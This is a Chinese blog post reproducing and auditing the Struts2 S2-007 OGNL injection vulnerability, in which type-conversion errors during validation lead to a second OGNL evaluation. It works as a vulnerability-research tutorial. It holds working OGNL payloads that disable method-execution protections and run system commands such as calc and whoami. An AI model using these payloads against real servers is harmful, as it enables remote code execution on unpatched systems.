『Java安全』Struts 2.2.3 表单参数类型转换错误OGNL注入漏洞S2-007复现与浅析

漏洞简介

对表单参数使用validator验证时,如果遇到类型错误,参数值会先压入参数栈,之后会取出并被二次ognl解析

影响范围

Struts 2.0.0 - 2.2.3

漏洞复现

环境配置

validation机制参考:

https://www.cnblogs.com/browserSnake/p/3745445.html

官网下载对应lib,需要这几个jar:

在这里插入图片描述


一个最简单的action

在这里插入图片描述


再写一个表单提交到action

在这里插入图片描述


然后创建action,如果输入成功就会显示index内容,输入验证不过则会继续输入,验证未通过的result是input

在这里插入图片描述


然后在action的同目录下创建validation,名称action类名-validation.xml,这里验证表单提交的参数id必须是int型,且范围是[1,10],如果验证不通过返回message的内容跳转到result input标签所指定的页面,否则返回success

在这里插入图片描述

复现过程

以下是验证:

'+(111*222)+'

在这里插入图片描述


验证存在后,表单发送:

'+(#_memberAccess.allowStaticmethodAccess=true ,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec('calc'))+'

在这里插入图片描述

代码审计

漏洞是由于参数类型转换错误为入口触发的,在xwork中有对于类型转换错误拦截ConversionErrorInterceptor

在这里插入图片描述


在其intercept方法加断点,首先POST的参数已经在参数栈了

在这里插入图片描述


取出错误的参数,放到空map,放入之前先进行了getoverrideExpr()

在这里插入图片描述


输入的参数用单引号包裹,因此payload有单引号是利用字符串拼接截断了,然后构建了正常ognl表达式

在这里插入图片描述


fakie这个map放到了context

在这里插入图片描述


处理完拦截器后之后,数据会填入前台页面,这里在渲染的时候,通过ComponentTagSupport.doEndTag()方法会解析参数,同S2-001

在这里插入图片描述


首先解析出变量名

在这里插入图片描述


然后解析变量值

在这里插入图片描述


获取值的类型是String,然后把参数名包裹成OGNL表达式,通过OGNL解析来获取值以供渲染用

在这里插入图片描述


ognl解析都是复用util的代码

在这里插入图片描述


来到tryFindValue,expr会变成参数值,然后调用getValue

在这里插入图片描述


最终调用Ognl.getValue()解析单引号截断的表达式,完成注入

在这里插入图片描述


由于类型转换错误以及自定义validator错误,全部都渲染到模板上了,开发者这一步是为了提供一个重新输入的功能,返回到result的name是input

在这里插入图片描述

流程

  • 用单引号和加号包裹payload,'+(xxx)+'
  • 开启allowStaticmethodAccess(可选)
  • 关闭denyMethodExecution

利用

由于S2自带了commons-io,方便了执行任意命令

'+(#_memberAccess.allowStaticmethodAccess=true ,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@org.apache.commons.io.IoUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))+'

参考

https://cwiki.apache.org/confluence/display/WW/S2-007

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接https://blog.csdn.net/Xxy605/article/details/126505065
版权声明:本文为原创,转载时须注明出处及本声明

相关文章

显卡天梯图2024最新版,显卡是电脑进行图形处理的重要设备,...
初始化电脑时出现问题怎么办,可以使用win系统的安装介质,连...
todesk远程开机怎么设置,两台电脑要在同一局域网内,然后需...
油猴谷歌插件怎么安装,可以通过谷歌应用商店进行安装,需要...
虚拟内存这个名词想必很多人都听说过,我们在使用电脑的时候...